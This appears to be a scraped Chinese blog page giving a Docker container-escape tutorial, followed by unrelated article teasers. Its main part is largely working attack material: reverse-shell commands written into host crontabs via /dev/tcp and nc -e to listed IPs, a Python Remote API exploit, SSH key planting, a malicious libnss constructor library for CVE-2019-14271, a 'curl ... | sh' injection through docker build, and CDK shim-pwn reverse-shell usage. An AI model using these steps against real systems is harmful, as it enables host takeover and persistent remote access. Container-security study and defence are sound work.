好大夫网站开发单位/推荐就业的培训机构
一、 检查是否在docker容器中
通过以下两个地方来判断
# 是否存在此文件 ls -al /.dockerenv
# 在其中是否包含docker字符串 cat /proc/1/cgroup
除了上面两种外还有其他方式判断,如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名等也可用来辅助判断。
容器逃逸一键检测
Release 0.1.6 · cdk-team/CDK · GitHub
二、Docker Remote API 未授权访问
Docker Remote API 可以执行 Docker 命令,Docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 Docker
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,攻击者也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器
漏洞判断
# 返回目标宿主机运行容器信息,漏洞存在 # 这个命令和在宿主机上运行docker ps类似 docker -H tcp://x.x.x.x:2375 ps
漏洞利用
#利用 #远程创建一个镜像 docker -H tcp://x.x.x.x run –rm –privileged -it -v /:/mnt busybox chroot /mnt sh#此时我们已经进入远程docker容器,宿主机的根目录已经被挂载至容器的/mnt目录下,我们进入定时任务的文件目录,Ubuntu的定时任务文件所在路径是 /var/spool/cron/crontabs/root ,Centos则是/var/spool/cron/root。 #利用定时任务写入反弹shell的命令 echo "bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1'" > root
–rm 容器停止时,自动删除该容器
–privileged 使用该参数,container内的root拥有真正的root权限。否则,container内的root只是外部的一个普通用户权限。privileged启动的容器,可以看到很多host上的设备,并且可以执行mount。甚至允许你在docker容器中启动docker容器。
-v 挂载目录。格式为 系统目录:容器目录
chroot就是把根目录切换到/mnt,最后的sh就是我们使用的shell。
反弹shell exp:
import dockerclient = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontab" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
三、docker.sock挂载到容器内部
当这样挂载时,在docker容器中可以调用和执行宿主机的docker
将docker宿主机的docker文件和docker.sock文件挂载到容器中
在容器中查看宿主机docker信息
docker -H unix:///var/run/docker.sock info
运行一个新容器并挂载宿主机根路径:
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
在新容器的 /test 目录下,就可以访问到宿主机的全部资源,接下来就是写入 SSH 密钥或者写入计划任务,获取 shell
四、Docker 高危启动参数
特权模式 –privileged
使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令
判断方法:
特权模式起的容器,实战可通过cat /proc/self/status |grep Cap
命令判断当前容器是否通过特权模式起(CapEff: 000000xfffffffff代表为特权模式起)
利用方法:
特权模式启动一个Ubuntu容器:
sudo docker run -itd --privileged ubuntu:latest /bin/bash
进入容器:
使用fdisk -l
命令查看磁盘文件:
fdisk -l命令查看宿主机设备为/dev/sda5(一般是最大的那个),通过mount命令将宿主机根目录挂载进容器
在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。
新建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/sda5 /test
切换根目录:chroot /test
到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多)。
写计划任务,反弹宿主机Shell:
echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root
如果要写SSH的话,需要挂载宿主机的root目录到容器:
docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys
然后ssh 私钥登录。
五、Docker 软件设计引起的逃逸
5.1 CVE-2019-5736
CVE-2019-5736 是 runC 的 CVE 漏洞编号,runC 最初是作为 Docker 的一部分开发的,后来作为一个单独的开源工具和库被提取出来,在 docker 整个架构的运行过程中,Containerd 向 docker 提供运行容器的 API,二者通过 grpc 进行交互。containerd 最后通过 runc 来实际运行容器。
影响版本:
- docker version <=18.09.2
- RunC version <=1.0-rc6
利用条件:
攻击者可控 image,进一步控制生成的 container
攻击者具有某已存在容器的写权限,且可通过 docker exec 进入
# 下载 poc git clone https://github.com/Frichetten/CVE-2019-5736-PoC# 修改Payload vi main.go payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.19.0.1/4444 0>&1"# 编译生成 payload CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go# 拷贝到 docker 容器中执行 docker cp ./main 248f8b7d3c45:/tmp
在容器中执行
root@d1b112ea4a5e:/tmp# ./main [+] Overwritten /bin/sh successfully [+] Found the PID: 16 [+] Successfully got the file handle [+] Successfully got write handle &{0xc8201231e0}
当管理员通过exec进入容器的时候,触发payload,从而达到逃逸
5.2 CVE-2019-14271
Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix cp命令非常相似。要从容器中复制/var/logs
,语法是docker cp container_name:/var/logs /some/host/path
。
可能的攻击场景有Docker用户从另一个Docker处复制文件:
- 容器运行含有恶意libnss_*.so库的镜像
- 容器中含有被攻击者替换的libnss_*.so库
在这两种情况下,攻击者都可以获取主机上的root代码执行权限。
漏洞利用
为利用该漏洞,研究人员需要先创建一个恶意libnss
库。研究人员随意选择了libnss_files.so
文件,下载了库函数的源码,并在代码中加入了一个函数——run_at_link()
。研究人员还为该函数定义了constructor
属性。constructor
属性表明run_at_link
函数在进程加载时会作为库的初始化函数执行。也就是说,当Docker-tar
进程动态加载恶意库时,run_at_link
函数就会执行。下面是run_at_link
的代码:
#include ...#define ORIGINAL_LIBNSS "/original_libnss_files.so.2" #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"bool is_priviliged();__attribute__ ((constructor)) void run_at_link(void) {char * argv_break[2];if (!is_priviliged())return;rename(ORIGINAL_LIBNSS, LIBNSS_PATH);fprintf(log_fp, "switched back to the original libnss_file.so");if (!fork()){// Child runs breakoutargv_break[0] = strdup("/breakout");argv_break[1] = NULL;execve("/breakout", argv_break, NULL);}elsewait(NULL); // Wait for childreturn; } bool is_priviliged() {FILE * proc_file = fopen("/proc/self/exe", "r");if (proc_file != NULL){fclose(proc_file);return false; // can open so /proc exists, not privileged}return true; // we're running in the context of docker-tar }
run_at_link
首先会验证是否运行在docker-tar
环境下,然后正常的容器进程也可能会加载它。这是通过检查/proc
目录完成的。如果run_at_link
运行在docker-tar
环境下,那么目录就是空的,因为procfs挂载在/proc
上只存在于容器的mount命名空间。
然后,run_at_link
会用恶意libnss库替换原始库。这保证了漏洞利用运行的随后进程不会意外加载恶意版本,并触发run_at_link
执行。
为简化该漏洞利用,run_at_link
会尝试在容器的/breakout
路径下运行可执行文件。这样漏洞利用的其他部分就可以用bash写入,而非C语言。让逻辑的其他部分在run_at_link
外,意味着在漏洞利用每次变化后无需重新编译恶意库,只需改变breakout二进制文件就可以了。
其中breakout的参考内容如下:
#!/bin/bashumount /host_fs && rm -rf /host_fs mkdir /host_fsmount -t proc none /proc # mount the host's procfs over /proc cd /proc/1/root # chdir to host's root mount --bind . /host_fs # mount host root at /host_fs echo "Hello from within the container!" > /host_fs/evil
5.3 CVE-2019-13139
攻击者需要使用ref来注入最终的git fetch命令。ref来自#container:Docker字符串,提供用于Docker上下文的分支和文件夹。由于使用的strings.splitN()
函数在:上进行拆分,#
和:
之间的任何内容都将用作ref。另一个好消息是,由于os/exec包将每个字符串视为传递给execv的参数,如果提供的字符串包含空格,则会将其视为引用过的字符串。因此#echo 1:two
将导致执行最终命令git fetch origin "echo 1
。这一点对我来说不是很有用,但不能半途而废。
下一部分是识别一个或多个参数,这些参数在传递到git fetch时被视为子命令。为此,我查阅了一下git-fetch文档。事实证明,有一个理想的--upload-pack选项:
给定
--upload-pack <upload-pack>
,并且要获取的存储库由git fetch-pack
处理时,--exec=<upload-pack>
将传递给命令以指定在另一端运行的命令的非默认路径
唯一的缺点是,它用于“在另一端运行命令”,因此是在服务器端。当git url是http://
或https://
时,会忽略这一点。幸运的是,Docker build命令还允许以git@的形式提供git URL。git@通常被视为用于git通过SSH进行克隆的用户,但前提是所提供的URL包含:,更简洁的是:git@remote.server.name:owner/repo.git。当:不存在时,git将URL解析为本地路径。因为它是一个本地路径,所以提供的-upload-pack最终将被用作执行git fetch-pack的二进制文件。
因此,所有的星号都是对齐的,并且可以构造导致命令执行的URL。
docker build "git@g.com/a/b#--upload-pack=sleep 30;:"
然后执行以下步骤:
git init git remote add git@g.com/a/b git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"
请注意,remote已经附加到-upload-pack命令中,因此需要使用分号(;)关闭该命令,否则git@g.com/a/b
将被解析为sleep命令的第二个参数。如果没有分号,将会提示sleep: invalid time interval ‘git@gcom/a/b.git
docker build "git@gcom/a/b.git#--upload-pack=sleep 5:"
unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval ‘git@gcom/a/b.git’
Try 'sleep --help' for more information.
这可以进一步转换为正确的命令执行(添加第二个#将清除输出,curl命令不会显示):
docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
5.4 CVE-2020-15257
Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shim API,从而实现Docker容器逃逸
影响版本:
- containerd < 1.4.3
- containerd < 1.3.9
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本(通过dockers version查询),使用了--host网络模式,会造成containerd-shim API暴露,通过调用API功能实现逃逸。
判断方法:
#判断是否使用host模式cat /proc/net/unix | grep 'containerd-shim'
经过以上判断,存在漏洞后。
1、从https://github.com/cdk-team/CDK/releases下载对应架构的可执行文件,上传到容器并赋权
上传方法:
如果漏洞利用过程中允许文件上传,即可直接植入CDK,如果可以在目标系统中执行命令,但是容器没有curl和wget命令,可以参考以下方法植入
# 将CDK下载到公网服务器,并监听端口 nc -lvp 999 < cdk # 在已经攻入的目标中执行 cat < /dev/tcp/xxx/端口 > cdk chmod a+x cdk
使用
#可以反弹shell,也可以执行命令 #reverse shell ./cdk run shim-pwn reverse <RHOST> <RPORT> #execute command ./cdk run shim-pwn "<shell_cmd>"
六、内核漏洞
6.1 CVE-2016-5195
Dirty Cow(CVE-2016-5195)是 Linux 内核中的权限提升漏洞,通过它可实现 Docker 容器逃逸,获得 root 权限的 shell。
Docker与宿主机共享内核,因此容器需要运行在存在Dirty Cow漏洞的宿主机里
相关文章:

docker逃逸总结
一、 检查是否在docker容器中 通过以下两个地方来判断 # 是否存在此文件 ls -al /.dockerenv# 在其中是否包含docker字符串 cat /proc/1/cgroup除了上面两种外还有其他方式判断,如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名等也可用来辅助判断。 容器逃逸…...

MySql:表的操作
目录 创建表 查看创建表时的信息 查看表的结构描述 删除一张表 修改表 创建表 CREATE TABLE [IF NOT EXISTS] table_name (field1 datatype,field2 datatype,field3 datatype ) character set 字符集 collate 校验规则 engine 存储引擎; field 表示列名 datatype 表示…...

LVGL9 开关控件 (lv_switch) 使用指南
文章目录 前言主体1. **控件概述**2. **控件的样式和组成部分**3. **使用控件**改变开关状态 4. **事件处理**5. **按键支持**6. **示例代码** 总结 前言 lv_switch 是 LittlevGL 提供的一个开关控件,外观类似一个小型滑块,常用于实现开关功能ÿ…...

fastadmin 登录退出忽略中间提示页面
背景 研究了一圈CMS,从fastadmin、easyadmin、buildadmin、onethink等等几乎所有的框架CMS,当然也包括若依。 最后,根据当前项目综合考虑,还是选择的fastadmin: 预算经济实惠、维护成本低;工期端&#x…...

游戏引擎学习第36天
仓库 :https://gitee.com/mrxiao_com/2d_game 回顾之前的内容 在这个程序中,目标是通过手动编写代码来从头开始制作一个完整的游戏。整个过程不使用任何库或现成的游戏引擎,这样做的目的是为了能够全面了解游戏执行的每一个细节。开发过程中࿰…...

准确率99.9%的离线IP地址定位库 ip2region - python 示例
简介:ip2region是一个离线IP地址定位库和IP定位数据管理框架,10微秒级别的查询效率,提供了众多主流编程语言的 xdb 数据生成和查询客户端实现。号称准确率99.9%的开源离线IP地址定位库。 历史攻略: Python:暴力破解密…...

wordpress网站使用Linux宝塔面板和SQL命令行导入导出超过50M限制的数据库
wordpress网站使用Linux宝塔面板添加mysql数据库,使用phpMyAdmin工具导入sql数据库文件,会有最大限制50M。即使把sql数据库文件压缩为gzip或zip压缩包,压缩包也超过50M,该怎么办?怎样导入超过50M数据库呢? …...

开发基础(3):开发应用沉浸式效果 组件安全区方案
什么是沉浸式效果 典型应用全屏窗口UI元素包括状态栏、应用界面和底部导航条,其中状态栏和导航条,通常在沉浸式布局下称为避让区;避让区之外的区域称为安全区。 开发应用沉浸式效果主要指通过调整状态栏、应用界面和导航条的显示效果来减少状态栏导航条等系统界面的突兀感…...

Python中的数据可视化实战
一、前言 数据可视化是数据分析和报告中不可或缺的环节,它能够帮助我们直观地理解数据规律。Python提供了多个强大的可视化库,如Matplotlib、Seaborn、Plotly等。本文将通过实例演示这些工具的基本用法和高级技巧。 二、Matplotlib基础 1. Matplotlib的基本用法 import ma…...

计算机毕设-基于springboot的甜品店管理系统的设计与实现(附源码+lw+ppt+开题报告)
博主介绍:✌多个项目实战经验、多个大型网购商城开发经验、在某机构指导学员上千名、专注于本行业领域✌ 技术范围:Java实战项目、Python实战项目、微信小程序/安卓实战项目、爬虫大数据实战项目、Nodejs实战项目、PHP实战项目、.NET实战项目、Golang实战…...

SpringMVC纯注解快速开发
此文章适合具有一定的java基础的同学看哦,如果有看不懂的基本代码还是先补补java基础哦。 此教程带您不使用xml文件而是纯注解开发,易懂、快捷、迅速,从0开始搭建,很快就能构建起一个SpringMVC项目,能学到两种使用tom…...

【JAVA】Java高级:多数据源管理与Sharding:在Spring Boot应用中实现多数据源的管理
一个电商平台可能需要一个数据库来存储用户信息,另一个数据库来存储订单信息,甚至可能还有一个数据库用于数据分析。这种情况下,如何在Spring Boot应用中实现多数据源的管理就显得尤为重要。 1. 多数据源管理的重要性 在实际应用中…...

汽车网络安全 -- IDPS如何帮助OEM保证车辆全生命周期的信息安全
目录 1.强标的另一层解读 2.什么是IDPS 2.1 IDPS技术要点 2.2 车辆IDPS系统示例 3.车辆纵深防御架构 4.小结 1.强标的另一层解读 在最近发布的国家汽车安全强标《GB 44495》,在7.2节明确提出了12条关于通信安全的要求,分别涉及到车辆与车辆制造商云平台通信、车辆与车辆…...

黑马点评项目测试总结
黑马点评项目测试面经总结: 一,怎么使用使用Postman进行接口测试? 1,安装Postman 2. 创建请求: 打开Postman,点击"New"按钮创建一个新的请求。在弹出的窗口中,选择请求的类型&#x…...

【Selenium】基于 WebDriverWait 爬取带有懒加载的静态页面
0x00 前言 朋友做标书,需要用到每日温度,他的老板让在这个网页手动复制做一个长期表出来:http://www.tianqihoubao.com/lishi/nanjing/month/202412.html 想着帮个忙,做个爬虫脚本吧,忽然发现这个页面很有意思…...

【docker】docker compose 和 docker swarm
Docker Compose 和 Docker Swarm 都是 Docker 生态中的工具,但它们有不同的用途和目标。 下面是这两者的主要区别,帮助你理解它们在不同场景中的使用。 1. 用途和目标 Docker Compose: 目标:主要用于在单个机器上定义和运行多个容器应用&a…...

Javaweb 前端 ajax
作用:和后端交互 script 是 js axios(这里是函数的调用方式){封装的是对象} {}是对象 案例 。then的含义,请求后端之后,后端把数据放在回调 点了清空之后,还要查询全部 await等待请求执行完之后,接收这个结果 代码…...

【蓝桥杯每日一题】重新排序
重新排序 2024-12-8 蓝桥杯每日一题 重新排序 前缀和 差分 题目大意 给定一个数组 A 和一些查询 L i , R i Li_,R_i Li,Ri, 求数组中第 L i L_i Li至第 R i R_i Ri个元素之和。 小蓝觉得这个问题很无聊, 于是他想重新排列一下数组, 使得最终每个查 询结果的和尽可能…...

《深入浅出HTTPS》读书笔记(16):消息验证码算法分类
MAC算法有两种形式,分别是CBC-MAC算法和HMAC算法。 CBC-MAC算法从块密码算法的CBC分组模式演变而来,简单地说就是最后一个密文分组的值就是MAC值。 HMAC(Hash-based Message Authentication Code)算法使用Hash算法作为加密基元&am…...

如何使用Apache HttpClient来执行GET、POST、PUT和DELETE请求
Apache HttpClient 是一个功能强大且灵活的库,用于在Java中处理HTTP请求。 它支持多种HTTP方法,包括GET、POST、PUT和DELETE等。 本教程将演示如何使用Apache HttpClient来执行GET、POST、PUT和DELETE请求。 Maven依赖 要使用Apache HttpClient&…...

数据结构-希尔排序
每次对5个间隔的元素进行插入排序,然后间隔依次递减,直到间隔为1 互质:相邻的两个元素没有公因子 这个例子只有间隔1起来作用 #include<iostream> using namespace std; typedef int ElmentType; void shell_Sort(ElmentType A[], int…...

Spire.doc 合并word,复制word
之前使用的poi来实现这个功能,然后发现在复制chart时,边框样式无法修改,于是就使用了spire.doc 1. 引入依赖 <repositories><repository><id>com.e-iceblue</id><name>e-iceblue</name><url>https…...

【Spring项目】表白墙,留言板项目的实现
阿华代码,不是逆风,就是我疯 你们的点赞收藏是我前进最大的动力!! 希望本文内容能够帮助到你!! 目录 一:项目实现准备 1:需求 2:准备工作 (1)…...

分布式事务-nacos/seata在windows环境下部署及开发
参考资料: nacos的windows环境部署 seata和nacos的结合及seata开发 参考demo及资料 nacos在windows环境下的部署: nacos在windows下的部署参考文章 seata加入nacos配置: 首先下载seata安装包:Release v1.7.0(Not Apache relea…...

分布式微服务架构下的密码安全性方案
在 Spring Cloud 微服务架构中,涉及登录或注册时的密码安全性问题,通常需要从传输过程中的安全性和存储过程中的安全性两个方面进行保护。以下是主流的安全性保证方案: 传输过程中的安全性 HTTPS 加密传输: 使用 HTTPS 协议来保…...

基于pytorch的深度学习基础4——损失函数和优化器
四.损失函数和优化器 4.1 均值初始化 为减轻梯度消失和梯度爆炸,选择合适的权重初值。 十种初始化方法 Initialization Methods 1. Xavie r均匀分布 2. Xavie r正态分布 4. Kaiming正态分布 5. 均匀分布 6. 正态分布 7. 常数分布 8. 正交矩阵初…...

网络安全信息收集(总结)更新
目录 重点: 前言: 又学到了,就是我们什么时候要子域名收集,什么时候收集域名,重点应该放前面 思考: 信息收集分为哪几类,什么是主域名,为什么要收集主域名,为什么要收…...

web斗地主游戏实现指北
前后端通信 作为一个即时多人游戏,不论是即时聊天还是更新玩家状态,都需要服务端有主动推送功能,或者客户端轮询。轮询的时间间隔可能导致游玩体验差,因为不即时更新,而且请求数量太多可能会打崩服务器。 建议在cs间…...

SpringMVC其他扩展
一、全局异常处理机制: 1.异常处理两种方式: 开发过程中是不可避免地会出现各种异常情况的,例如网络连接异常、数据格式异常、空指针异常等等。异常的出现可能导致程序的运行出现问题,甚至直接导致程序崩溃。因此,在开发过程中,…...

【Linux】网络服务
声明,以下内容均学习自《Linux就该这么学》一书 1、创建网络会话 Linux系统使用NetworkManager提供网络服务,它是一种动态管理网络配置的守护进程,能够让网络设备保持连接状态。 nmcli nmcli是一款基于命令行的网络配置工具,它…...